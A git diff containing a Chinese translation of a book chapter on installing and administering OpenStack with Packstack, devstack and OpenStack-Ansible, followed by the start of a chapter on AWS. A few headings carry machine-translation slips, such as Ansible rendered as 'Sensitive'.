-在该过程的各个阶段中,您将看到各种消息,如下所示,当您能够以适当的冗长级别实时查看正在发生的事情时,这些消息非常不错: - -![Figure 12.7 – Appreciating Packstack's installation verbosity ](img/B14834_12_07.jpg) - -图 12.7-欣赏 PackStack 的安装详细程度 - -安装完成后,您将看到如下所示的报告屏幕: - -![Figure 12.8 – Successful Packstack installation ](img/B14834_12_08.jpg) - -图 12.8-成功安装 PackStack - -安装程序已成功完成,并向我们发出关于`NetworkManager`和内核更新的警告,这意味着我们需要重新启动系统。 重新启动并检查`/root/keystonerc_admin`文件中的用户名和密码后,Packstack 就可以正常工作了,我们可以使用上一屏幕输出(`http://IP_or_hostname_where_PackStack_is_deployed/dashboard`)中提到的 URL 登录: - -![Figure 12.9 – Packstack UI ](img/B14834_12_09.jpg) - -图 12.9-Packstack UI - -还有一些额外的配置需要完成,正如在[https://wiki.openstack.org/wiki/Packstack](https://wiki.openstack.org/wiki/Packstack)的 Packstack 文档中指出的那样。 如果您要使用外部网络,则需要一个不带`NetworkManager`的静态 IP 地址,并且您可能希望配置`firewalld`或完全停止它。 除此之外,您可以开始使用它作为演示环境。 - -# 调配 OpenStack 环境 - -当您需要创建第一个 OpenStack 配置时,最简单但同时也是最困难的任务之一将是配置。 基本上有两种方法:一种是在精心准备的硬件配置中一次安装一个服务,另一种是只使用 OpenStack 站点上的*单个服务器安装*指南,并创建一台机器作为您的测试台。 在本章中,我们所做的一切都是在这样一个实例中创建的,但是在我们学习如何安装系统之前,我们需要了解其中的区别。 - -OpenStack 是一个云操作系统,其主要思想是使我们能够使用多个服务器和其他设备来创建一个连贯的、易于配置的云,该云可以通过 API 或 Web 服务器从中心点进行管理。 OpenStack 部署的规模和类型可以是运行一切的一台服务器,也可以是跨多个数据中心集成的数千台服务器和存储单元。 OpenStack 在大规模部署方面没有问题;唯一真正的限制因素通常是我们试图创建的环境的成本和其他要求。 - -我们多次提到可伸缩性,这就是 OpenStack 在这两个方面的亮点。 令人惊讶的是,它不仅可以很容易地放大,而且还可以缩小。 完全适合单个用户的安装可以在一台机器上完成-甚至可以在一台机器内的单个虚拟机上完成-因此您将能够在笔记本电脑的虚拟环境中拥有自己的云。 这对测试东西很有用,但不适用于其他东西。 - -裸机安装将遵循特定角色和服务的指导原则和推荐配置要求,这是创建可工作的、可扩展的云的唯一方法,显然,如果您需要创建生产环境,这显然是可行的方法。 话虽如此,在安装一台机器和安装一千台服务器之间,有很多方法可以调整和重新设计您的基础设施,以支持您的特定用例场景。 - -让我们首先快速完成在另一台虚拟机中的安装,这项任务在速度更快的主机上不到 10 分钟就可以完成。 对于我们的平台,我们决定安装 Ubuntu18.04.3LTS,以便能够将主机系统保持在最低限度。 有关我们正在尝试做什么的整个 Ubuntu 指南可以在[https://docs.openstack.org/devstack/latest/guides/single-machine.html](https://docs.openstack.org/devstack/latest/guides/single-machine.html)上找到。 - -我们必须指出的一件事是,OpenStack 站点为许多不同的安装场景提供了指南,包括在虚拟硬件和裸机硬件上的安装场景,而且这些场景都非常容易理解,原因很简单,因为文档非常切中要害。 还有一个简单的安装脚本,只要您手动完成几个步骤,它就会处理所有事情。 - -请注意硬件要求。 有一些很好的资源可以用来报道这个主题。 从这里开始:[https://docs.openstack.org/newton/install-guide-rdo/overview.html#figure-hwreqs](https://docs.openstack.org/newton/install-guide-rdo/overview.html#figure-hwreqs)。 - -## 分步安装 OpenStack - -我们需要做的第一件事是创建一个要安装整个系统的用户。 该用户需要才能拥有`sudo`权限,因为很多事情都需要系统范围的权限。 - -以超级用户身份或通过`sudo`创建用户: - -```sh -useradd -s /bin/bash -d /opt/stack -m stack -chmod 755 /opt/stack -``` - -我们需要做的下一件事是允许该用户使用`sudo`: - -```sh -echo "stack ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers -``` - -我们还需要安装`git`并切换到新创建的用户: - -![Figure 12.10 – Installing git, the first step in deploying OpenStack ](img/B14834_12_10.jpg) - -图 12.10-安装 git,部署 OpenStack 的第一步 - -现在是有趣的部分。 我们将克隆(复制的最新版本)`devstack`,该安装脚本将提供在此计算机上运行和使用 OpenStack 所需的一切: - -![Figure 12.11 – Cloning devstack by using git ](img/B14834_12_11.jpg) - -图 12.11-使用 git 克隆 devstack - -现在需要进行一些配置。 在`samples`目录中,在我们刚刚克隆的目录中,有一个名为`local.conf`的文件。 使用它可以配置安装程序需要的所有内容。 网络是一件必须手动配置的事情--不仅是本地网络(连接您与互联网其余部分的网络),还包括内部网络地址空间,它将用于 OpenStack 在实例之间执行的所有操作。 还需要为不同的服务设置不同的密码。 所有这些都可以在示例文件中读取。 有关如何准确配置它的说明,可以在我们之前给出的 Web 地址上找到,也可以在文件本身中找到: - -![Figure 12.12 – Installer configuration ](img/B14834_12_12.jpg) - -图 12.12-安装程序配置 - -此安装过程会出现一些问题,因此,由于以下原因,安装可能会中断两次: - -* `/opt/stack/.cache`的所有权是`root:root`,而不是`stack:stack`。 请在运行安装程序之前更正此所有权; -* 安装程序问题(已知的问题),因为它无法安装组件,然后失败。 解决方案相当简单--Inc.目录中的文件中有一行需要更改,名为 python。 在写入时,该文件的第 192 行需要从`$cmd_pip $upgrade \`更改为`$cmd_pip $upgrade --ignore-installed \` - -最后,在我们收集了所有数据并修改了文件之后,我们确定了这个配置: - -![Figure 12.13 – Example configuration ](img/B14834_12_13.jpg) - -图 12.13-示例配置 - -这些参数中的大多数都是可以理解的,但让我们首先介绍其中的两个参数:`FLOATING_RANGE`和`FIXED_RANGE`。 参数`FLOATING_RANGE`告诉我们的 OpenStack 安装哪个网络作用域将用于*专用*网络。 另一方面,`FIXED_RANGE`是 OpenStack 配置的虚拟机将使用的网络范围。 基本上,OpenStack 环境中配置的虚拟机将从`FIXED_RANGE`获得内部地址。 如果虚拟机也需要从外部世界获得,我们将从`FLOATING_RANGE`分配一个网络地址。 请小心使用`FIXED_RANGE`,因为它不应该与您环境中的现有网络范围匹配。 - -与指南中给出的不同之处在于,我们将 SWIFT 安装中的副本数量减少到一个。 这不会给我们带来冗余,但会减少用于存储的空间,并略微加快速度。 请勿在生产环境中执行此操作。 - -根据您的配置,您可能还需要在文件中设置`HOST_IP`地址变量。 在这里,将其设置为您当前的 IP 地址。 - -然后,运行`./stack.sh`。 - -运行脚本后,真正冗长的安装应该会启动,并在屏幕上转储很多行。 等待它完成-这将需要一段时间,并从互联网下载大量文件。 最后,它将为您提供如下所示的安装摘要: - -![Figure 12.14 – Installation summary ](img/B14834_12_14.jpg) - -图 12.14-安装摘要 - -完成此操作后,如果一切正常,您的本地计算机上应该有一个完整的 OpenStack 运行版本。 要验证这一点,请使用 Web 浏览器连接到您的计算机;应显示欢迎屏幕: - -![Figure 12.15 – OpenStack login screen ](img/B14834_12_15.jpg) - -图 12.15-OpenStack 登录屏幕 - -使用写在您机器上的凭据登录后,在安装之后(默认管理员名称为`admin`,密码是您在`local.conf`中设置的安装服务时设置的密码),您将看到一个屏幕,向您显示云的统计信息。 您现在看到的屏幕实际上是 Horizon 仪表板,它是主屏幕,可让您一目了然地了解您的云。 - -## OpenStack 管理 - -查看 Horizon 的左上角,我们可以看到默认配置的有三个截然不同的部分。 第一个项目-**Project**-涵盖了关于我们的默认实例及其性能的所有内容。 在这里,您可以创建新实例、管理映像和处理服务器组。 我们的云只是一个核心安装,所以我们只有一台服务器和两个定义的区域,这意味着我们没有安装服务器组: - -![Figure 12.16 – Basic Horizon dashboard ](img/B14834_12_16.jpg) - -图 12.16-Basic Horizon 控制面板 - -首先,让我们创建一个快速实例来展示如何做到这一点: - -![Figure 12.17 – Creating an instance ](img/B14834_12_17.jpg) - -图 12.17-创建实例 - -按照以下步骤创建实例: - -1. Go to **Launch Instance** in the far-right part of the screen. A window will open that will enable you to give OpenStack all the information it needs to create a new VM instance: - - ![Figure 12.18 – Launch Instance wizard ](img/B14834_12_18.jpg) - - 图 12.18-启动实例向导 - -2. On the next screen, you need to supply the system with the image source. We already mentioned glances – these images are taken from the Glance store and can be either an image snapshot, a ready-made volume, or a volume snapshot. We can also create a persistent image if we want to. One thing that you'll notice is that there are two differences when comparing this process to almost any other deployment. The first is that we are using a ready-made image by default as one was provided for us. Another big thing is the ability to create a new persistent volume to store our data in, or to have it deleted when we are done with the image, or have it not be created at all. - - 选择您在公共存储库中分配的一个映像;它的名称应该类似于下面的屏幕截图中所示的名称。 CirrOS 是 OpenStack 提供的测试映像。 它是一个最小的 Linux 发行版,设计得尽可能小,能够轻松地测试整个云基础设施,但又尽可能不引人注目。 CirrOS 基本上是一个操作系统占位符。 当然,我们需要点击**Launch Instance**按钮进入下一步: - - ![Figure 12.19 – Selecting an instance source ](img/B14834_12_19.jpg) - - 图 12.19-选择实例源 - -3. The next important part of creating a new image is choosing a flavor. This is another one of those peculiarly named things in OpenStack. A flavor is a combination of certain resources that basically creates a computing, memory, and storage template for new instances. We can choose from instances that have as little as 64 MB of RAM and 1 vCPU and go as far as our infrastructure can provide: - - ![Figure 12.20 – Selecting an instance flavor ](img/B14834_12_20.jpg) - - 图 12.20-选择实例风格 - - 在这个特定的示例中,我们将选择`cirros256`,这是一种基本上旨在为我们的测试系统提供尽可能少的资源的风格。 - -4. 我们实际上需要选择的最后一件事是网络连接。 我们需要设置我们的实例在运行时能够使用的所有适配器。 由于这是一个简单的测试,我们将使用我们拥有的两个适配器,包括内部适配器和外部适配器。 它们被称为`public`和`shared`: - -![Figure 12.21 – Instance network configuration ](img/B14834_12_21.jpg) - -图 12.21-实例网络配置 - -现在,我们可以启动我们的实例,它将能够引导。 单击**Launch Instance**按钮后,创建一个新实例可能需要不到一分钟的时间。 在部署实例时,显示其当前进度和实例状态的屏幕将自动更新。 - -完成此操作后,我们的实例将准备就绪: - -![Figure 12.22 – The instance is ready ](img/B14834_12_22.jpg) - -图 12.22-实例已就绪 - -我们将快速创建另一个实例,然后创建一个快照,以便向您展示映像管理是如何工作的。 如果您单击实例列表右侧的**Create Snapshot**按钮,Horizon 将创建一个快照,并立即将您置于映像管理界面: - -![Figure 12.23 – Images ](img/B14834_12_23.jpg) - -图 12.23-图像 - -现在,我们有两个个不同的快照:一个是开始映像,另一个是正在运行的映像的实际快照。 到目前为止,一切都很简单。 从快照创建实例怎么样? 只需点击一下即可到达! 您需要做的只是单击右侧的**Launch Instance**按钮,然后完成创建新实例的向导。 - -我们创建实例的简短示例的最终结果应该如下所示: - -![Figure 12.24 – New instance creation finished ](img/B14834_12_24.jpg) - -图 12.24-新实例创建完成 - -我们可以看到的是关于我们的实例所需的所有信息、它们的 IP 地址是什么、它们的风格(转换为为特定实例分配了多少资源)、运行映像的可用区以及有关当前实例状态的信息。 我们要检查的下一件事是左侧的**卷**选项卡。 当我们创建实例时,我们告诉 OpenStack 为第一个实例创建一个永久卷。 如果我们现在单击**卷**,我们应该会在数字名称下看到该卷: - -![Figure 12.25 – Volumes ](img/B14834_12_25.jpg) - -图 12.25-卷 - -在此屏幕上,我们现在可以为卷创建快照,将其重新连接到不同的实例,甚至可以将其作为映像上传到存储库。 - -左侧的第三个选项卡,名为**Network**,包含有关我们当前配置的设置的更多信息。 - -如果我们单击**Network Topology**选项卡,我们将获得当前正在运行的网络的整个网络拓扑,显示在一个简单的图形显示中。 我们可以从**拓扑**和**图**中选择,两者基本上代表同一事物: - -![Figure 12.26 – Network topology ](img/B14834_12_26.jpg) - -图 12.26-网络拓扑 - -如果我们需要创建另一个网络或更改网络矩阵中的任何内容,可以在此处进行。 我们认为这不仅对文档友好,而且对管理员非常友好。 这两点都使我们的下一个话题-日常管理-变得容易得多。 - -## 日常管理 - -我们或多或少已经完成了与**项目**数据中心日常任务的管理相关的最重要的选项。 如果我们单击名为**Admin**的选项卡,我们会注意到我们打开的菜单结构与**Project**下的菜单结构非常相似。 这是因为,现在,我们关注的管理任务与云的基础设施有关,而不是与我们特定逻辑数据中心的基础设施有关,但这两者都存在相同的构建块。 但是,如果我们(例如)打开**Compute**,则存在一组完全不同的选项: - -![Figure 12.27 – Different available configuration options ](img/B14834_12_27.jpg) - -图 12.27-不同的可用配置选项 - -界面的这一部分用于完全管理构成我们基础架构的部分,以及定义我们在*数据中心*中工作时可以使用的不同内容的部分。 以用户身份登录时,我们可以添加和删除虚拟机、配置网络和使用资源,但要将资源联机、添加新的虚拟机管理器、定义口味以及执行这些彻底改变基础架构的任务,我们需要被分配管理角色。 有些功能重叠,例如界面的管理部分和用户特定的部分,它们都可以控制实例。 但是,管理部分具有所有这些功能,用户可以调整他们的命令集,例如,他们不能删除或创建新实例。 - -管理视图使我们能够更直接地监视我们的节点,不仅通过它们提供的服务,而且还通过有关特定主机及其上使用的资源的原始数据: - -![Figure 12.28 – Available hypervisors in our Datacenter ](img/B14834_12_28.jpg) - -图 12.28-我们的数据中心中可用的虚拟机管理器 - -我们的数据中心只有一个虚拟机管理器,但我们可以看到它上实际可用的资源量,以及当前设置在此特定时刻使用的资源份额。 - -风格也是 OpenStack 整体的一个重要部分。 我们已经提到它们是一组预定义的资源预设,它们构成了实例将要在其上运行的平台。 我们的测试设置已经定义了其中的几个,但是我们可以删除此设置中附带的设置,并根据我们的需要创建新的设置。 - -因为云的目的是优化资源管理,所以口味在这个概念中扮演着重要的角色。 从规划和设计的角度来说,创造风味并不是一件容易的事情。 首先,也是最重要的是,它需要深入了解给定硬件平台上的可能性、存在多少计算资源和哪些计算资源,以及如何最大限度地利用这些资源。 因此,我们必须妥善规划和设计事物。 另一件事是,我们实际上需要了解我们正在为什么样的负载做准备。 它是否占用大量内存? 我们是否有很多小型服务需要大量简单配置的节点? 我们是否需要大量的计算能力和/或大量的存储空间? 这些问题的答案不仅使我们能够创造客户想要的东西,而且还能创造出让用户充分利用我们的基础设施的味道。 - -基本的想法是创造一些特色,为个人用户提供足够的资源,让他们以令人满意的方式完成他们的工作。 这在有 10 个实例的部署中并不明显,但一旦我们将运行到数千个,总有 10%的存储闲置的情况会迅速侵蚀我们的资源,限制我们为更多用户提供服务的能力。 在我们的环境规划和设计中,在我们拥有的东西和我们提供给用户以特定方式使用的东西之间取得平衡可能是最困难的任务: - -![Figure 12.29 – Create Flavor wizard ](img/B14834_12_29.jpg) - -图 12.29-创建风味向导 - -创建口味是一项简单的任务。 我们需要做以下工作: - -1. 为其命名;系统将自动分配 ID。 -2. 根据我们的口味设置 vCPU 和 RAM 的数量。 -3. 选择基本磁盘的大小,以及不包含在任何快照中并在虚拟机终止时被删除的临时磁盘。 -4. 选择交换空间量。 -5. 选择 RX/TX 因子,以便我们可以在网络级别创建一些 QoS。 某些版本需要比其他版本具有更高的网络流量优先级。 - -OpenStack 允许一个特定的项目具有多种风格,并且一种风格可以属于个不同的项目。 现在我们已经了解了这一点,让我们使用我们的用户标识并为他们分配一些对象。 - -## 身份管理 - -左侧的最后一个选项卡是**Identity**,它负责处理用户、角色和项目。 这是,我们不仅要在其中配置用户名,还要配置特定用户可以使用的用户角色、组和项目: - -![Figure 12.30 – Users, Groups, and Roles management ](img/B14834_12_30.jpg) - -图 12.30-用户、组和角色管理 - -我们不会过多地讨论用户是如何管理和安装的,只会介绍用户管理的基础知识。 一如既往,OpenStack 站点上的原始文档是了解更多信息的地方。 确保您查看此链接:[https://docs.openstack.org/keystone/pike/admin/cli-manage-projects-users-and-roles.html](https://docs.openstack.org/keystone/pike/admin/cli-manage-projects-users-and-roles.html)。 - -简而言之,创建项目后,您需要定义哪些用户将能够查看和处理特定项目。 为了简化管理,用户也可以成为组的一部分,然后您可以将整个组分配到一个项目。 - -此结构的目的是使管理员不仅可以限制用户可以管理的内容,还可以限制特定项目有多少可用资源。 让我们用一个例子来说明这一点。 如果我们转到**Projects**并编辑现有项目(或创建新项目),我们将在 Configuration 菜单中看到一个名为**Quota**的选项卡,如下所示: - -![Figure 12.31 – Quotas on the default project ](img/B14834_12_31.jpg) - -图 12.31-默认项目的配额 - -一旦您创建了一个项目,您就可以以配额的形式分配所有资源。 此分配限制特定实例组的最大可用资源。 用户不了解整个系统;他们只能*查看*并利用项目中可用的资源。 如果用户是多个项目的一部分,则他们可以根据其在项目中的角色创建、删除和管理实例,并且他们可以使用的资源特定于项目。 - -接下来我们将讨论 OpenStack/Ansible 集成,以及这两个概念协同工作的一些潜在用例。 请记住,OpenStack 环境越大,我们为其找到的用例就越多。 - -# 集成 OpenStack 和 Sensitive - -处理任何大规模的应用都不容易,没有合适的工具可能会使其无法实现。 OpenStack 为我们提供了许多方法来直接编排和管理巨大的水平部署,但有时这是不够的。 幸运的是,在我们的工具库中,我们还有另一个工具-**Ansible**。 在[*第 11 章*](11.html#_idTextAnchor191),*Ansible for Orcheation and Automation*中,我们介绍了使用 Ansible 部署和配置单个计算机的其他一些较小的方法,所以我们不打算回到那个位置。 相反,我们将关注 Ansible 在 OpenStack 环境中的优势。 - -不过,我们必须明确的一件事是,在 OpenStack 环境中使用 Ansible 可以基于两种截然不同的场景。 一种是使用 Ansible 来处理已部署的实例,其方式在所有其他云或裸机部署中看起来基本相同。 作为大量实例的管理员,您创建的管理节点只不过是一个启用了 Python 的服务器,其中添加了 Ansible Packages 和攻略。 在此之后,您可以整理部署的库存,并准备好管理您的实例。 本章的这一部分不是关于此场景的。 - -我们在这里谈论的是使用 Ansible 来管理云本身。 这意味着我们不是在 OpenStack 云中部署实例;我们是在为 OpenStack 本身部署计算和存储节点。 - -我们谈论的环境有时被称为**OpenStack-Ansible**(**osa**),它非常常见,有自己的部署指南,位于以下网址:[https://docs.openstack.org/project-deploy-guide/openstack-ansible/latest/](https://docs.openstack.org/project-deploy-guide/openstack-ansible/latest/)。 - -在 OpenStack-Ansible 中进行最小安装的要求比在单个 VM 或单个机器上安装的要求要高得多。 这样做的原因不仅仅是系统需要所有的资源,而是需要使用的工具和所有这些工具背后的理念。 - -让我们快速了解一下 Ansible 在 OpenStack 中的含义: - -* 配置后,它可以快速部署任何类型的资源,无论是存储资源还是计算资源。 -* 它可以确保您在此过程中不会忘记配置某些内容。 在部署单个服务器时,您必须确保一切正常,并且配置中的错误很容易发现,但是在部署多个节点时,错误可能会悄悄出现,并且会在没有人注意到的情况下降低部分系统的性能。 避免这种情况的正常部署做法是安装清单,但 Ansible 是一个比这好得多的解决方案。 -* 更简化的配置更改。 有时,我们需要在整个系统或部分系统上应用配置更改。 如果没有脚本化,这可能会令人沮丧。 - -话虽如此,让我们快速浏览一下[https://docs.openstack.org/openstack-ansible/latest/](https://docs.openstack.org/openstack-ansible/latest/),看看官方文档中关于如何部署和使用 Ansible 和 OpenStack 的内容。 - -关于 Ansible,OpenStack 到底为管理员提供了什么? 最简单的答案是剧本和角色。 - -要使用 Ansible 部署 OpenStack,基本上需要创建一个部署主机,然后使用 Ansible 部署整个 OpenStack 系统。 整个工作流程大致如下: - -1. 准备部署主机 -2. 准备目标主机 -3. 为部署配置可用 -4. 运行攻略并让它们安装所有内容 -5. 检查 OpenStack 是否安装正确 - -当我们谈论部署主机和目标主机时,我们需要明确区分:部署主机是一个单一实体,它拥有 Ansible、脚本、剧本、角色和所有支持部分。 目标主机是将成为 OpenStack 云一部分的实际服务器。 - -安装要求很简单: - -* 操作系统应该是 Debian、Ubuntu CentOS 或 openSUSE(实验性)的最小安装,并应用最新内核和完整更新。 -* 系统还应运行 Python2.7,使用公钥身份验证启用 SSH 访问,并启用 NTP 时间同步。 这包括部署主机。 -* 对于不同类型的节点也有常用的建议。 计算节点必须支持硬件辅助虚拟化,但这是一个明显的要求。 -* 有一个要求是不言而喻的,那就是使用多核处理器,使用尽可能多的内核,以使某些服务运行得更快。 - -磁盘要求真的由您决定。 OpenStack 建议尽可能使用快速磁盘,建议使用 RAID 中的 SSD 驱动器,以及可用于数据块存储的大型磁盘池。 - -* 基础架构节点的要求与其他类型的节点不同,因为它们运行的是几个随时间增长且至少需要 100 GB 空间的数据库。 基础设施还将其服务作为容器运行,因此它将以与其他计算节点不同的特定方式使用资源。 - -部署指南还建议运行日志记录主机,因为所有服务都会创建日志。 建议的日志磁盘空间至少为 50 GB,但在生产中,这将以数量级快速增长。 - -OpenStack 需要一个快速、稳定的网络来配合工作。 由于 OpenStack 中的所有内容都将依赖于网络,因此建议使用每种种可能的解决方案来加快网络访问速度,包括使用 10G 和绑定接口。 安装部署服务器是整个过程的第一步,这就是我们下一步要做的原因。 - -## 安装 Ansible 部署服务器 - -我们的部署服务器需要更新所有升级,并安装 Python、`git`、`ntp`、`sudo`和`ssh`支持。 在安装了所需的软件包之后,您需要配置`ssh`键才能登录到目标主机。 这是一个可行的要求,也是利用安全性和易用性的最佳实践。 - -网络很简单-我们的部署主机必须连接到所有其他主机。 部署主机还应该安装在专为容器管理而设计的网络的 L2 上。 - -然后,应该克隆存储库: - -```sh -# git clone -b 20.0.0 https://opendev.org/openstack/openstack-ansible /opt/openstack-ansible -``` - -接下来,需要运行 Ansible 引导脚本: - -```sh -# scripts/bootstrap-ansible.sh -``` - -这就结束了对 Ansible 部署服务器的准备。 现在,我们需要准备要用于 OpenStack 的目标计算机。 目标计算机目前在 Ubuntu Server(18.04)LTS、CentOS7 和 openSUSE 42.x 上受支持(在撰写本文时,仍然不支持 CentOS8)。 您可以使用这些系统中的任何一个。 对于它们中的每一个,都有一个有用的指南可以帮助您快速上手:[https://docs.openstack.org/project-deploy-guide/openstack-ansible/latest/deploymenthost.html](https://docs.openstack.org/project-deploy-guide/openstack-ansible/latest/deploymenthost.html)。 我们将只解释使您轻松安装它的一般步骤,但实际上,只需从[https://www.openstack.org/](https://www.openstack.org/)复制并粘贴为您的操作系统发布的命令即可。 - -无论您决定在哪个系统上运行,您都必须完全了解最新的系统更新。 之后,安装`linux-image-extra`包(如果您的内核存在的话),并安装`bridge-utils`、`debootstrap`、`ifenslave`、`lsof`、`lvm2`、`chrony`、`openssh-server`、`sudo`、`tcpdump`、`vlan`和 Python 包。 此外,还要启用绑定和 VLAN 接口。 所有这些都可能对您的系统可用,也可能不可用,因此如果已经安装或配置了某些内容,请跳过它。 - -在`chrony.conf`中配置 NTP 时间同步以在整个部署中同步时间。 您可以使用您喜欢的任何时间源,但要使系统正常工作,时间必须同步。 - -现在,配置`ssh`键。 Ansible 将使用`ssh`和基于密钥的身份验证进行部署。 只需将公钥从部署计算机上的适当用户复制到`/root/.ssh/authorized_keys`。 只需从部署主机登录到目标计算机,即可测试此设置。 如果一切正常,您应该可以在没有任何密码或任何其他提示的情况下登录。 另外,请注意,部署主机上的 root 用户是管理所有内容的默认用户,并且他们必须提前生成`ssh`密钥,因为它们不仅在目标主机上使用,而且还在整个系统中运行的不同服务的所有容器中使用。 开始配置系统时,这些密钥必须存在。 - -请注意,对于存储节点,将在本地磁盘上创建 LVM 卷,从而覆盖任何现有配置。 网络配置将自动完成;您只需确保 Ansible 能够连接到目标计算机。 - -下一步是配置我们的 Ansible 库存,以便我们可以使用它。 我们现在就开始吧。 - -## 配置可拆分库存 - -在我们可以运行 Ansible 攻略之前,我们需要完成 Ansible 清单的配置,以便它将系统指向它应该安装的主机。 我们将逐字引用,可在[https://docs.openstack.org/project-deploy-guide/openstack-ansible/queens/configure.html](https://docs.openstack.org/project-deploy-guide/openstack-ansible/queens/configure.html)上找到: - -1.将/opt/OpenStack-Ansible/etc/OpenStack_Deploy 目录的内容复制到 - -/etc/OpenStack_Deploy 目录。 - -2.切换到/etc/OpenStack_Deploy 目录。 - -3.将 OpenStack_user_config.yml.example 文件复制到 - -/etc/openstack_deploy/openstack_user_config.yml. - -4.查看 OpenStack_user_config.yml 文件并更改部署 - -您的 OpenStack 环境的。 - -进入配置文件后,查看所有选项。 `Openstack_user_config.yml`定义哪些主机运行哪些服务和节点。 在承诺安装之前,请查看上一段中提到的文档。 - -在网络上脱颖而出的一件事是`install_method`。 您可以选择来源或发行版。 每种方式都有其利弊: - -* 源代码是最简单的安装,因为它是直接从 OpenStack 官方网站上的源代码完成的,并且包含一个与所有系统兼容的环境。 -* 发行版方法是针对您要安装的特定发行版进行定制的,方法是使用已知有效的、称为稳定的特定软件包。 这样做的主要缺点是更新速度会慢得多,因为不仅需要部署 OpenStack,还需要部署有关发行版上所有包的信息,并且需要验证设置。 因此,在升级到达*源*和进入*发行版*安装之间,Expect 会等待很长时间。 安装后,您必须使用您的主要选择;没有从一个切换到另一个的机制。 - -您需要做的最后一件事是打开`user_secrets.yml`文件并为所有服务分配密码。 您可以创建自己的密码,也可以使用专门为此目的提供的脚本。 - -## 运行 Ansible 攻略 - -在我们完成部署过程时,我们需要开始几本 Ansible 攻略。 我们需要按以下顺序使用提供的这三本攻略: - -* `setup-hosts.yml`:我们用来在 OpenStack 主机上调配必要服务的初始 Ansible 攻略。 -* `setup-infrastructure.yml`:部署更多服务(如 RabbitMQ、存储库服务器、memcached 等)的 Ansible 攻略。 -* `setup-openstack.yml`:部署其余服务的 Ansible 攻略--扫视、灰烬、新星、拱心石、热能、中子、地平线等。 - -所有这些 Ansible 攻略都需要成功完成,这样我们才能将 Ansible 与 OpenStack 集成。 因此,剩下的唯一一件事就是运行 Ansible 攻略。 我们需要从以下命令开始: - -```sh -# openstack-ansible setup-hosts.yml -``` - -您可以在`/opt/openstack-ansible/playbooks`中找到相应的文件。 现在,运行其余设置: - -```sh -# openstack-ansible setup-infrastructure.yml -# openstack-ansible setup-openstack.yml -``` - -所有的剧本在结束时都应该没有不可及或失败的剧本。 有了这些-祝贺你! 您刚刚安装了 OpenStack。 - -# 摘要 - -在本章中,我们花了大量时间描述 OpenStack 的架构和内部工作方式。 我们讨论了软件定义的网络及其挑战,以及不同的 OpenStack 服务,如 Nova、SWIFT、Glance 等。 然后,我们继续讨论实际问题,比如部署 PackStack(为了验证概念,我们就称其为 OpenStack)和完整的 OpenStack。 在本章的最后部分,我们讨论了 OpenStack-Ansible 集成,以及在更大的环境中它可能对我们意味着什么。 - -现在我们已经讨论了*私有*云方面,是时候扩大我们的环境并将其扩展到更加基于*公共*或*混合*的方法了。 在基于 KVM 的基础设施中,这通常意味着连接到 AWS 以转换您的工作负载并将其传输到那里(公共云)。 如果我们要讨论混合类型的云功能,那么我们必须引入一个名为 Eucalyptus 的应用。 关于方法和原因,请查看下一章。 - -# 问题 - -1. VLAN 作为云覆盖技术的主要问题是什么? -2. 目前云市场上正在使用哪些类型的云覆盖网络? -3. VXLAN 是如何工作的? -4. 跨多个站点扩展第 2 层网络最常见的问题是什么? -5. 什么是 OpenStack? -6. OpenStack 有哪些架构组件? -7. 什么是 OpenStack Nova? -8. 什么是 OpenStack SWIFT? -9. 什么是 OpenStack Glance? -10. 什么是 OpenStack Horizon? -11. 什么是 OpenStack 风格? -12. 什么是 OpenStack 中子? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* OpenStack 文档:[https://docs.openstack.org](https://docs.openstack.org) -* Arista VxLAN 概述:[https://www.arista.com/img/data/pdf/Whitepapers/Arista_Networks_VXLAN_White_Paper.pdf](https://www.arista.com/img/data/pdf/Whitepapers/Arista_Networks_VXLAN_White_Paper.pdf) -* 红帽-什么是 Geneve?:[https://www.redhat.com/en/blog/what-geneve](https://www.redhat.com/en/blog/what-geneve) -* 思科-使用 OpenStack 配置虚拟网络:[https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus1000/kvm/config_guide/network/5x/b_Cisco_N1KV_KVM_Virtual_Network_Config_5x/configuring_virtual_networks_using_openstack.pdf](https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus1000/kvm/config_guide/network/5x/b_Cisco_N1KV_KVM_Virtual_Network_Config_5x/configuring_virtual_networks_using_openstack.pdf) -* 程序包堆栈:[http://rdoproject.org](http://rdoproject.org)** \ No newline at end of file diff --git a/docs/master-kvm-virtual/13.md b/docs/master-kvm-virtual/13.md deleted file mode 100644 index 80cc7f5e..00000000 --- a/docs/master-kvm-virtual/13.md +++ /dev/null @@ -1,765 +0,0 @@ -# 十三、使用 AWS 横向扩展 KVM - -如果你仔细观察,虚拟化是一个很难解决的问题--为了能够在计算机上运行操作系统,要模拟完整的计算机是很复杂的。 由于显而易见的原因,将这些虚拟机放入云中更加困难。 在那之后,事情真的开始变得一团糟。 从概念上讲,基于必须同时运行的计算机的绝对数量,创建可以按需运行的计算机集群甚至更加复杂。 此外,不仅需要创建仿真计算机,还需要创建所有网络和基础设施来支持更大规模的部署。 创建全球云-一种不仅可以运行数百万台机器,甚至在全球最偏远地区几乎无处不在的云-是一项很少有公司尝试过的任务,只有几家公司成功了。 本章将大体上介绍那些大型云提供商,然后是亚马逊,它们都是最大的云提供商。 我们的主要想法是展示亚马逊的成功之处,它与本书涵盖的其他主题有何关联,以及如何在真实的机器上使用亚马逊在现实世界中启用的服务。 - -**Amazon Web Services**(**AWS**)是一套独特的工具、服务和基础设施,可实现真正大规模的云服务,其规模如此之大以至于难以理解。 当我们谈论数以千计的站点使用数百万台服务器运行数十亿个应用时,即使列举这些内容也会成为一个大问题,而管理不仅可以轻松跨越单个章节,而且很可能跨越多本书。 我们将尝试向您介绍 AWS 云中最重要的服务和部分,并尝试解释它们可以用于什么以及何时使用。 - -在本章中,我们将介绍以下主题: - -* AWS 简介 -* 为 AWS 准备和转换虚拟机 -* 使用 Eucalyptus 构建混合 KVM 云 - -# AWS 简介 - -在谈论云服务时,AWS 几乎不需要介绍,尽管很少有人真正了解整个亚马逊云是多么庞大和复杂的系统。 完全可以肯定的是,在这个时候,它无疑是地球上规模最大、使用量最大的服务。 - -在我们做任何其他事情之前,我们需要讨论 AWS 如何以及为什么如此重要,不仅是关于它对互联网的影响,而且对于任何甚至远程尝试提供某种扩展的任务都是如此。 - -正如我们在本书中已经做了几次的那样,我们将从 AWS 云的基本前提开始-提供可广泛扩展的分布式解决方案,该解决方案将涵盖在互联网上执行任何类型工作负载的所有可能方案。 - 